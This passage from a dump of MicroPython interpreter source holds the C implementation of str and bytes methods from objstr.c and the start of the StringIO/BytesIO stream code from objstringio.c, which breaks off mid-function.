there's\n// nothing to replace.\nSTATIC mp_obj_t str_replace(size_t n_args, const mp_obj_t *args) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0]));\n\n    mp_int_t max_rep = -1;\n    if (n_args == 4) {\n        max_rep = mp_obj_get_int(args[3]);\n        if (max_rep == 0) {\n            return args[0];\n        } else if (max_rep < 0) {\n            max_rep = -1;\n        }\n    }\n\n    // if max_rep is still -1 by this point we will need to do all possible replacements\n\n    // check argument types\n\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n\n    if (mp_obj_get_type(args[1]) != self_type) {\n        bad_implicit_conversion(args[1]);\n    }\n\n    if (mp_obj_get_type(args[2]) != self_type) {\n        bad_implicit_conversion(args[2]);\n    }\n\n    // extract string data\n\n    GET_STR_DATA_LEN(args[0], str, str_len);\n    GET_STR_DATA_LEN(args[1], old, old_len);\n    GET_STR_DATA_LEN(args[2], new, new_len);\n\n    // old won't exist in str if it's longer, so nothing to replace\n    if (old_len > str_len) {\n        return args[0];\n    }\n\n    // data for the replaced string\n    byte *data = NULL;\n    vstr_t vstr;\n\n    // do 2 passes over the string:\n    //   first pass computes the required length of the replaced string\n    //   second pass does the replacements\n    for (;;) {\n        size_t replaced_str_index = 0;\n        size_t num_replacements_done = 0;\n        const byte *old_occurrence;\n        const byte *offset_ptr = str;\n        size_t str_len_remain = str_len;\n        if (old_len == 0) {\n            // if old_str is empty, copy new_str to start of replaced string\n            // copy the replacement string\n            if (data != NULL) {\n                memcpy(data, new, new_len);\n            }\n            replaced_str_index += new_len;\n            num_replacements_done++;\n        }\n        while (num_replacements_done != (size_t)max_rep && str_len_remain > 0 && (old_occurrence = find_subbytes(offset_ptr, str_len_remain, old, old_len, 1)) != NULL) {\n            if (old_len == 0) {\n                old_occurrence += 1;\n            }\n            // copy from just after end of last occurrence of to-be-replaced string to right before start of next occurrence\n            if (data != NULL) {\n                memcpy(data + replaced_str_index, offset_ptr, old_occurrence - offset_ptr);\n            }\n            replaced_str_index += old_occurrence - offset_ptr;\n            // copy the replacement string\n            if (data != NULL) {\n                memcpy(data + replaced_str_index, new, new_len);\n            }\n            replaced_str_index += new_len;\n            offset_ptr = old_occurrence + old_len;\n            str_len_remain = str + str_len - offset_ptr;\n            num_replacements_done++;\n        }\n\n        // copy from just after end of last occurrence of to-be-replaced string to end of old string\n        if (data != NULL) {\n            memcpy(data + replaced_str_index, offset_ptr, str_len_remain);\n        }\n        replaced_str_index += str_len_remain;\n\n        if (data == NULL) {\n            // first pass\n            if (num_replacements_done == 0) {\n                // no substr found, return original string\n                return args[0];\n            } else {\n                // substr found, allocate new string\n                vstr_init_len(&vstr, replaced_str_index);\n                data = (byte*)vstr.buf;\n                assert(data != NULL);\n            }\n        } else {\n            // second pass, we are done\n            break;\n        }\n    }\n\n    return mp_obj_new_str_from_vstr(self_type, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_replace_obj, 3, 4, str_replace);\n\nSTATIC mp_obj_t str_count(size_t n_args, const mp_obj_t *args) {\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(args[0]));\n\n    // check argument type\n    if (mp_obj_get_type(args[1]) != self_type) {\n        bad_implicit_conversion(args[1]);\n    }\n\n    GET_STR_DATA_LEN(args[0], haystack, haystack_len);\n    GET_STR_DATA_LEN(args[1], needle, needle_len);\n\n    const byte *start = haystack;\n    const byte *end = haystack + haystack_len;\n    if (n_args >= 3 && args[2] != mp_const_none) {\n        start = str_index_to_ptr(self_type, haystack, haystack_len, args[2], true);\n    }\n    if (n_args >= 4 && args[3] != mp_const_none) {\n        end = str_index_to_ptr(self_type, haystack, haystack_len, args[3], true);\n    }\n\n    // if needle_len is zero then we count each gap between characters as an occurrence\n    if (needle_len == 0) {\n        return MP_OBJ_NEW_SMALL_INT(unichar_charlen((const char*)start, end - start) + 1);\n    }\n\n    // count the occurrences\n    mp_int_t num_occurrences = 0;\n    for (const byte *haystack_ptr = start; haystack_ptr + needle_len <= end;) {\n        if (memcmp(haystack_ptr, needle, needle_len) == 0) {\n            num_occurrences++;\n            haystack_ptr += needle_len;\n        } else {\n            haystack_ptr = utf8_next_char(haystack_ptr);\n        }\n    }\n\n    return MP_OBJ_NEW_SMALL_INT(num_occurrences);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_count_obj, 2, 4, str_count);\n\n#if MICROPY_PY_BUILTINS_STR_PARTITION\nSTATIC mp_obj_t str_partitioner(mp_obj_t self_in, mp_obj_t arg, int direction) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(self_in));\n    mp_obj_type_t *self_type = mp_obj_get_type(self_in);\n    if (self_type != mp_obj_get_type(arg)) {\n        bad_implicit_conversion(arg);\n    }\n\n    GET_STR_DATA_LEN(self_in, str, str_len);\n    GET_STR_DATA_LEN(arg, sep, sep_len);\n\n    if (sep_len == 0) {\n        mp_raise_ValueError(\"empty separator\");\n    }\n\n    mp_obj_t result[3];\n    if (self_type == &mp_type_str) {\n        result[0] = MP_OBJ_NEW_QSTR(MP_QSTR_);\n        result[1] = MP_OBJ_NEW_QSTR(MP_QSTR_);\n        result[2] = MP_OBJ_NEW_QSTR(MP_QSTR_);\n    } else {\n        result[0] = mp_const_empty_bytes;\n        result[1] = mp_const_empty_bytes;\n        result[2] = mp_const_empty_bytes;\n    }\n\n    if (direction > 0) {\n        result[0] = self_in;\n    } else {\n        result[2] = self_in;\n    }\n\n    const byte *position_ptr = find_subbytes(str, str_len, sep, sep_len, direction);\n    if (position_ptr != NULL) {\n        size_t position = position_ptr - str;\n        result[0] = mp_obj_new_str_of_type(self_type, str, position);\n        result[1] = arg;\n        result[2] = mp_obj_new_str_of_type(self_type, str + position + sep_len, str_len - position - sep_len);\n    }\n\n    return mp_obj_new_tuple(3, result);\n}\n\nSTATIC mp_obj_t str_partition(mp_obj_t self_in, mp_obj_t arg) {\n    return str_partitioner(self_in, arg, 1);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(str_partition_obj, str_partition);\n\nSTATIC mp_obj_t str_rpartition(mp_obj_t self_in, mp_obj_t arg) {\n    return str_partitioner(self_in, arg, -1);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(str_rpartition_obj, str_rpartition);\n#endif\n\n// Supposedly not too critical operations, so optimize for code size\nSTATIC mp_obj_t str_caseconv(unichar (*op)(unichar), mp_obj_t self_in) {\n    GET_STR_DATA_LEN(self_in, self_data, self_len);\n    vstr_t vstr;\n    vstr_init_len(&vstr, self_len);\n    byte *data = (byte*)vstr.buf;\n    for (size_t i = 0; i < self_len; i++) {\n        *data++ = op(*self_data++);\n    }\n    return mp_obj_new_str_from_vstr(mp_obj_get_type(self_in), &vstr);\n}\n\nSTATIC mp_obj_t str_lower(mp_obj_t self_in) {\n    return str_caseconv(unichar_tolower, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_lower_obj, str_lower);\n\nSTATIC mp_obj_t str_upper(mp_obj_t self_in) {\n    return str_caseconv(unichar_toupper, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_upper_obj, str_upper);\n\nSTATIC mp_obj_t str_uni_istype(bool (*f)(unichar), mp_obj_t self_in) {\n    GET_STR_DATA_LEN(self_in, self_data, self_len);\n\n    if (self_len == 0) {\n        return mp_const_false; // default to False for empty str\n    }\n\n    if (f != unichar_isupper && f != unichar_islower) {\n        for (size_t i = 0; i < self_len; i++) {\n            if (!f(*self_data++)) {\n                return mp_const_false;\n            }\n        }\n    } else {\n        bool contains_alpha = false;\n\n        for (size_t i = 0; i < self_len; i++) { // only check alphanumeric characters\n            if (unichar_isalpha(*self_data++)) {\n                contains_alpha = true;\n                if (!f(*(self_data - 1))) { // -1 because we already incremented above\n                    return mp_const_false;\n                }\n            }\n        }\n\n        if (!contains_alpha) {\n            return mp_const_false;\n        }\n    }\n\n    return mp_const_true;\n}\n\nSTATIC mp_obj_t str_isspace(mp_obj_t self_in) {\n    return str_uni_istype(unichar_isspace, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_isspace_obj, str_isspace);\n\nSTATIC mp_obj_t str_isalpha(mp_obj_t self_in) {\n    return str_uni_istype(unichar_isalpha, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_isalpha_obj, str_isalpha);\n\nSTATIC mp_obj_t str_isdigit(mp_obj_t self_in) {\n    return str_uni_istype(unichar_isdigit, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_isdigit_obj, str_isdigit);\n\nSTATIC mp_obj_t str_isupper(mp_obj_t self_in) {\n    return str_uni_istype(unichar_isupper, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_isupper_obj, str_isupper);\n\nSTATIC mp_obj_t str_islower(mp_obj_t self_in) {\n    return str_uni_istype(unichar_islower, self_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(str_islower_obj, str_islower);\n\n#if MICROPY_CPYTHON_COMPAT\n// These methods are superfluous in the presence of str() and bytes()\n// constructors.\n// TODO: should accept kwargs too\nSTATIC mp_obj_t bytes_decode(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t new_args[2];\n    if (n_args == 1) {\n        new_args[0] = args[0];\n        new_args[1] = MP_OBJ_NEW_QSTR(MP_QSTR_utf_hyphen_8);\n        args = new_args;\n        n_args++;\n    }\n    return mp_obj_str_make_new(&mp_type_str, n_args, 0, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(bytes_decode_obj, 1, 3, bytes_decode);\n\n// TODO: should accept kwargs too\nSTATIC mp_obj_t str_encode(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t new_args[2];\n    if (n_args == 1) {\n        new_args[0] = args[0];\n        new_args[1] = MP_OBJ_NEW_QSTR(MP_QSTR_utf_hyphen_8);\n        args = new_args;\n        n_args++;\n    }\n    return bytes_make_new(NULL, n_args, 0, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_encode_obj, 1, 3, str_encode);\n#endif\n\nmp_int_t mp_obj_str_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    if (flags == MP_BUFFER_READ) {\n        GET_STR_DATA_LEN(self_in, str_data, str_len);\n        bufinfo->buf = (void*)str_data;\n        bufinfo->len = str_len;\n        bufinfo->typecode = 'B'; // bytes should be unsigned, so should unicode byte-access\n        return 0;\n    } else {\n        // can't write to a string\n        bufinfo->buf = NULL;\n        bufinfo->len = 0;\n        bufinfo->typecode = -1;\n        return 1;\n    }\n}\n\nSTATIC const mp_rom_map_elem_t str8_locals_dict_table[] = {\n#if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR_decode), MP_ROM_PTR(&bytes_decode_obj) },\n    #if !MICROPY_PY_BUILTINS_STR_UNICODE\n    // If we have separate unicode type, then here we have methods only\n    // for bytes type, and it should not have encode() methods. Otherwise,\n    // we have non-compliant-but-practical bytestring type, which shares\n    // method table with bytes, so they both have encode() and decode()\n    // methods (which should do type checking at runtime).\n    { MP_ROM_QSTR(MP_QSTR_encode), MP_ROM_PTR(&str_encode_obj) },\n    #endif\n#endif\n    { MP_ROM_QSTR(MP_QSTR_find), MP_ROM_PTR(&str_find_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rfind), MP_ROM_PTR(&str_rfind_obj) },\n    { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&str_index_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rindex), MP_ROM_PTR(&str_rindex_obj) },\n    { MP_ROM_QSTR(MP_QSTR_join), MP_ROM_PTR(&str_join_obj) },\n    { MP_ROM_QSTR(MP_QSTR_split), MP_ROM_PTR(&str_split_obj) },\n    #if MICROPY_PY_BUILTINS_STR_SPLITLINES\n    { MP_ROM_QSTR(MP_QSTR_splitlines), MP_ROM_PTR(&str_splitlines_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_rsplit), MP_ROM_PTR(&str_rsplit_obj) },\n    { MP_ROM_QSTR(MP_QSTR_startswith), MP_ROM_PTR(&str_startswith_obj) },\n    { MP_ROM_QSTR(MP_QSTR_endswith), MP_ROM_PTR(&str_endswith_obj) },\n    { MP_ROM_QSTR(MP_QSTR_strip), MP_ROM_PTR(&str_strip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_lstrip), MP_ROM_PTR(&str_lstrip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rstrip), MP_ROM_PTR(&str_rstrip_obj) },\n    { MP_ROM_QSTR(MP_QSTR_format), MP_ROM_PTR(&str_format_obj) },\n    { MP_ROM_QSTR(MP_QSTR_replace), MP_ROM_PTR(&str_replace_obj) },\n    { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&str_count_obj) },\n    #if MICROPY_PY_BUILTINS_STR_PARTITION\n    { MP_ROM_QSTR(MP_QSTR_partition), MP_ROM_PTR(&str_partition_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rpartition), MP_ROM_PTR(&str_rpartition_obj) },\n    #endif\n    #if MICROPY_PY_BUILTINS_STR_CENTER\n    { MP_ROM_QSTR(MP_QSTR_center), MP_ROM_PTR(&str_center_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_lower), MP_ROM_PTR(&str_lower_obj) },\n    { MP_ROM_QSTR(MP_QSTR_upper), MP_ROM_PTR(&str_upper_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isspace), MP_ROM_PTR(&str_isspace_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isalpha), MP_ROM_PTR(&str_isalpha_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isdigit), MP_ROM_PTR(&str_isdigit_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isupper), MP_ROM_PTR(&str_isupper_obj) },\n    { MP_ROM_QSTR(MP_QSTR_islower), MP_ROM_PTR(&str_islower_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(str8_locals_dict, str8_locals_dict_table);\n\n#if !MICROPY_PY_BUILTINS_STR_UNICODE\nSTATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf);\n\nconst mp_obj_type_t mp_type_str = {\n    { &mp_type_type },\n    .name = MP_QSTR_str,\n    .print = str_print,\n    .make_new = mp_obj_str_make_new,\n    .binary_op = mp_obj_str_binary_op,\n    .subscr = bytes_subscr,\n    .getiter = mp_obj_new_str_iterator,\n    .buffer_p = { .get_buffer = mp_obj_str_get_buffer },\n    .locals_dict = (mp_obj_dict_t*)&str8_locals_dict,\n};\n#endif\n\n// Reuses most of methods from str\nconst mp_obj_type_t mp_type_bytes = {\n    { &mp_type_type },\n    .name = MP_QSTR_bytes,\n    .print = str_print,\n    .make_new = bytes_make_new,\n    .binary_op = mp_obj_str_binary_op,\n    .subscr = bytes_subscr,\n    .getiter = mp_obj_new_bytes_iterator,\n    .buffer_p = { .get_buffer = mp_obj_str_get_buffer },\n    .locals_dict = (mp_obj_dict_t*)&str8_locals_dict,\n};\n\n// the zero-length bytes\nconst mp_obj_str_t mp_const_empty_bytes_obj = {{&mp_type_bytes}, 0, 0, NULL};\n\n// Create a str/bytes object using the given data.  New memory is allocated and\n// the data is copied across.\nmp_obj_t mp_obj_new_str_of_type(const mp_obj_type_t *type, const byte* data, size_t len) {\n    mp_obj_str_t *o = m_new_obj(mp_obj_str_t);\n    o->base.type = type;\n    o->len = len;\n    if (data) {\n        o->hash = qstr_compute_hash(data, len);\n        byte *p = m_new(byte, len + 1);\n        o->data = p;\n        memcpy(p, data, len * sizeof(byte));\n        p[len] = '\\0'; // for now we add null for compatibility with C ASCIIZ strings\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\n// Create a str/bytes object from the given vstr.  The vstr buffer is resized to\n// the exact length required and then reused for the str/bytes object.  The vstr\n// is cleared and can safely be passed to vstr_free if it was heap allocated.\nmp_obj_t mp_obj_new_str_from_vstr(const mp_obj_type_t *type, vstr_t *vstr) {\n    // if not a bytes object, look if a qstr with this data already exists\n    if (type == &mp_type_str) {\n        qstr q = qstr_find_strn(vstr->buf, vstr->len);\n        if (q != MP_QSTR_NULL) {\n            vstr_clear(vstr);\n            vstr->alloc = 0;\n            return MP_OBJ_NEW_QSTR(q);\n        }\n    }\n\n    // make a new str/bytes object\n    mp_obj_str_t *o = m_new_obj(mp_obj_str_t);\n    o->base.type = type;\n    o->len = vstr->len;\n    o->hash = qstr_compute_hash((byte*)vstr->buf, vstr->len);\n    if (vstr->len + 1 == vstr->alloc) {\n        o->data = (byte*)vstr->buf;\n    } else {\n        o->data = (byte*)m_renew(char, vstr->buf, vstr->alloc, vstr->len + 1);\n    }\n    ((byte*)o->data)[o->len] = '\\0'; // add null byte\n    vstr->buf = NULL;\n    vstr->alloc = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_obj_t mp_obj_new_str(const char* data, size_t len, bool make_qstr_if_not_already) {\n    if (make_qstr_if_not_already) {\n        // use existing, or make a new qstr\n        return MP_OBJ_NEW_QSTR(qstr_from_strn(data, len));\n    } else {\n        qstr q = qstr_find_strn(data, len);\n        if (q != MP_QSTR_NULL) {\n            // qstr with this data already exists\n            return MP_OBJ_NEW_QSTR(q);\n        } else {\n            // no existing qstr, don't make one\n            return mp_obj_new_str_of_type(&mp_type_str, (const byte*)data, len);\n        }\n    }\n}\n\nmp_obj_t mp_obj_str_intern(mp_obj_t str) {\n    GET_STR_DATA_LEN(str, data, len);\n    return MP_OBJ_NEW_QSTR(qstr_from_strn((const char*)data, len));\n}\n\nmp_obj_t mp_obj_new_bytes(const byte* data, size_t len) {\n    return mp_obj_new_str_of_type(&mp_type_bytes, data, len);\n}\n\nbool mp_obj_str_equal(mp_obj_t s1, mp_obj_t s2) {\n    if (MP_OBJ_IS_QSTR(s1) && MP_OBJ_IS_QSTR(s2)) {\n        return s1 == s2;\n    } else {\n        GET_STR_HASH(s1, h1);\n        GET_STR_HASH(s2, h2);\n        // If any of hashes is 0, it means it's not valid\n        if (h1 != 0 && h2 != 0 && h1 != h2) {\n            return false;\n        }\n        GET_STR_DATA_LEN(s1, d1, l1);\n        GET_STR_DATA_LEN(s2, d2, l2);\n        if (l1 != l2) {\n            return false;\n        }\n        return memcmp(d1, d2, l1) == 0;\n    }\n}\n\nSTATIC void bad_implicit_conversion(mp_obj_t self_in) {\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_TypeError(\"can't convert to str implicitly\");\n    } else {\n        const qstr src_name = mp_obj_get_type(self_in)->name;\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n            \"can't convert '%q' object to %q implicitly\",\n            src_name, src_name == MP_QSTR_str ? MP_QSTR_bytes : MP_QSTR_str));\n    }\n}\n\n// use this if you will anyway convert the string to a qstr\n// will be more efficient for the case where it's already a qstr\nqstr mp_obj_str_get_qstr(mp_obj_t self_in) {\n    if (MP_OBJ_IS_QSTR(self_in)) {\n        return MP_OBJ_QSTR_VALUE(self_in);\n    } else if (MP_OBJ_IS_TYPE(self_in, &mp_type_str)) {\n        mp_obj_str_t *self = MP_OBJ_TO_PTR(self_in);\n        return qstr_from_strn((char*)self->data, self->len);\n    } else {\n        bad_implicit_conversion(self_in);\n    }\n}\n\n// only use this function if you need the str data to be zero terminated\n// at the moment all strings are zero terminated to help with C ASCIIZ compatibility\nconst char *mp_obj_str_get_str(mp_obj_t self_in) {\n    if (MP_OBJ_IS_STR_OR_BYTES(self_in)) {\n        GET_STR_DATA_LEN(self_in, s, l);\n        (void)l; // len unused\n        return (const char*)s;\n    } else {\n        bad_implicit_conversion(self_in);\n    }\n}\n\nconst char *mp_obj_str_get_data(mp_obj_t self_in, size_t *len) {\n    if (MP_OBJ_IS_STR_OR_BYTES(self_in)) {\n        GET_STR_DATA_LEN(self_in, s, l);\n        *len = l;\n        return (const char*)s;\n    } else {\n        bad_implicit_conversion(self_in);\n    }\n}\n\n#if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\nconst byte *mp_obj_str_get_data_no_check(mp_obj_t self_in, size_t *len) {\n    if (MP_OBJ_IS_QSTR(self_in)) {\n        return qstr_data(MP_OBJ_QSTR_VALUE(self_in), len);\n    } else {\n        *len = ((mp_obj_str_t*)self_in)->len;\n        return ((mp_obj_str_t*)self_in)->data;\n    }\n}\n#endif\n\n/******************************************************************************/\n/* str iterator                                                               */\n\ntypedef struct _mp_obj_str8_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_t str;\n    size_t cur;\n} mp_obj_str8_it_t;\n\n#if !MICROPY_PY_BUILTINS_STR_UNICODE\nSTATIC mp_obj_t str_it_iternext(mp_obj_t self_in) {\n    mp_obj_str8_it_t *self = MP_OBJ_TO_PTR(self_in);\n    GET_STR_DATA_LEN(self->str, str, len);\n    if (self->cur < len) {\n        mp_obj_t o_out = mp_obj_new_str((const char*)str + self->cur, 1, true);\n        self->cur += 1;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nSTATIC mp_obj_t mp_obj_new_str_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_str8_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_str8_it_t *o = (mp_obj_str8_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = str_it_iternext;\n    o->str = str;\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n#endif\n\nSTATIC mp_obj_t bytes_it_iternext(mp_obj_t self_in) {\n    mp_obj_str8_it_t *self = MP_OBJ_TO_PTR(self_in);\n    GET_STR_DATA_LEN(self->str, str, len);\n    if (self->cur < len) {\n        mp_obj_t o_out = MP_OBJ_NEW_SMALL_INT(str[self->cur]);\n        self->cur += 1;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nmp_obj_t mp_obj_new_bytes_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_str8_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_str8_it_t *o = (mp_obj_str8_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = bytes_it_iternext;\n    o->str = str;\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objstringio.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/objstr.h\"\n#include \"py/objstringio.h\"\n#include \"py/runtime.h\"\n#include \"py/stream.h\"\n\n#if MICROPY_PY_IO\n\n#if MICROPY_CPYTHON_COMPAT\nSTATIC void check_stringio_is_open(const mp_obj_stringio_t *o) {\n    if (o->vstr == NULL) {\n        mp_raise_ValueError(\"I/O operation on closed file\");\n    }\n}\n#else\n#define check_stringio_is_open(o)\n#endif\n\nSTATIC void stringio_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, self->base.type == &mp_type_stringio ? \"<io.StringIO 0x%x>\" : \"<io.BytesIO 0x%x>\", self);\n}\n\nSTATIC mp_uint_t stringio_read(mp_obj_t o_in, void *buf, mp_uint_t size, int *errcode) {\n    (void)errcode;\n    mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in);\n    check_stringio_is_open(o);\n    if (o->vstr->len <= o->pos) {  // read to EOF, or seeked to EOF or beyond\n        return 0;\n    }\n    mp_uint_t remaining = o->vstr->len - o->pos;\n    if (size > remaining) {\n        size = remaining;\n    }\n    memcpy(buf, o->vstr->buf + o->pos, size);\n    o->pos += size;\n    return size;\n}\n\nSTATIC void stringio_copy_on_write(mp_obj_stringio_t *o) {\n    const void *buf = o->vstr->buf;\n    o->vstr->buf = m_new(char, o->vstr->len);\n    memcpy(o->vstr->buf, buf, o->vstr->len);\n    o->vstr->fixed_buf = false;\n    o->ref_obj = MP_OBJ_NULL;\n}\n\nSTATIC mp_uint_t stringio_write(mp_obj_t o_in, const void *buf, mp_uint_t size, int *errcode) {\n    (void)errcode;\n    mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in);\n    check_stringio_is_open(o);\n\n    if (o->vstr->fixed_buf) {\n        stringio_copy_on_write(o);\n    }\n\n    mp_uint_t new_pos = o->pos + size;\n    if (new_pos < size) {\n        // Writing <size> bytes will overflow o->pos beyond limit of mp_uint_t.\n        *errcode = MP_EFBIG;\n        return MP_STREAM_ERROR;\n    }\n    mp_uint_t org_len = o->vstr->len;\n    if (new_pos > o->vstr->alloc) {\n        // Take all what's already allocated...\n        o->vstr->len = o->vstr->alloc;\n        // ... and add more\n        vstr_add_len(o->vstr, new_pos - o->vstr->alloc);\n    }\n    // If there was a seek past EOF, clear the hole\n    if (o->pos > org_len) {\n        memset(o->vstr->buf + org_len, 0, o->pos - org_len);\n    }\n    memcpy(o->vstr->buf + o->pos, buf, size);\n    o->pos = new_pos;\n    if (new_pos > o->vstr->len) {\n        o->vstr->len = new_pos;\n    }\n    return size;\n}\n\nSTATIC mp_uint_t stringio_ioctl(mp_obj_t o_in, mp_uint_t request, uintptr_t arg, int *errcode) {\n    (void)errcode;\n    mp_obj_stringio_t *o = MP_OBJ_TO_PTR(o_in);\n    switch (request) {\n        case MP_STREAM_SEEK: {\n            struct mp_stream_seek_t *s = (struct mp_stream_seek_t*)arg;\n            mp_uint_t ref = 0;\n            switch (s->whence) {\n                case MP_SEEK_CUR:\n                    ref = o->pos;\n                    break;\n                case MP_SEEK_END:\n                    ref = o->vstr->len;\n                    break;\n            }\n            mp_uint_t new_pos = ref + s->offset;\n\n            // For MP_SEEK_SET, offset is unsigned\n            if (s->whence != MP_SEEK_SET && s->offset < 0) {\n                if (new_pos > ref) {\n                    // Negative offset from SEEK_CUR or SEEK_END went past 0.\n                    // CPython sets position to 0, POSIX returns an EINVAL error\n                    new_pos = 0;\n                }\n            } else if (new_pos < ref) {\n                // positive offset went beyond the limit of mp_uint_t\n                *errcode = MP_EINVAL;  // replace with MP_EOVERFLOW when defined\n                return MP_STREAM_ERROR;\n            }\n            s->offset = o->pos = new_pos;\n            return 0;\n        }\n        case MP_STREAM_FLUSH:\n            return 0;\n        default:\n            *errcode = MP_EINVAL;\n            return MP_STREAM_ERROR;\n    }\n}\n\n#define STREAM_TO_CONTENT_TYPE(o) (((o)->base.type == &mp_type_stringio) ? &mp_type_str : &mp_type_bytes)\n\nSTATIC mp_obj_t stringio_getvalue(mp_obj_t self_in) {\n    mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in);\n    check_stringio_is_open(self);\n    // TODO: Try to avoid copying string\n    return mp_obj_new_str_of_type(STREAM_TO_CONTENT_TYPE(self), (byte*)self->vstr->buf, self->vstr->len);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(stringio_getvalue_obj, stringio_getvalue);\n\nSTATIC mp_obj_t stringio_close(mp_obj_t self_in) {\n    mp_obj_stringio_t *self = MP_OBJ_TO_PTR(self_in);\n#if MICROPY_CPYTHON_COMPAT\n    vstr_free(self->vstr);\n    self->vstr = NULL;\n#else\n    vstr_clear(self->vstr);\n    self->vstr->alloc = 0;\n    self->vstr->len = 0;\n    self->pos = 0;\n#endif\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(stringio_close_obj, stringio_close);\n\nSTATIC mp_obj_t stringio___exit__(size_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n    return stringio_close(args[0]);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(stringio___exit___obj, 4, 4, stringio___exit__);\n\nSTATIC mp_obj_stringio_t *stringio_new(const mp_obj_type_t *type) {\n    mp_obj_stringio_t *o = m_new_obj(mp_obj_stringio_t);\n    o->base.type = type;\n    o->pos = 0;\n    o->ref_obj = MP_OBJ_NULL;\n    return o;\n}\n\nSTATIC mp_obj_t stringio_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)n_kw; // TODO check n_kw==0\n\n    mp_uint_t sz = 16;\n    bool initdata = false;\n    mp_buffer_info_t bufinfo;\n\n    mp_obj_stringio_t *o = 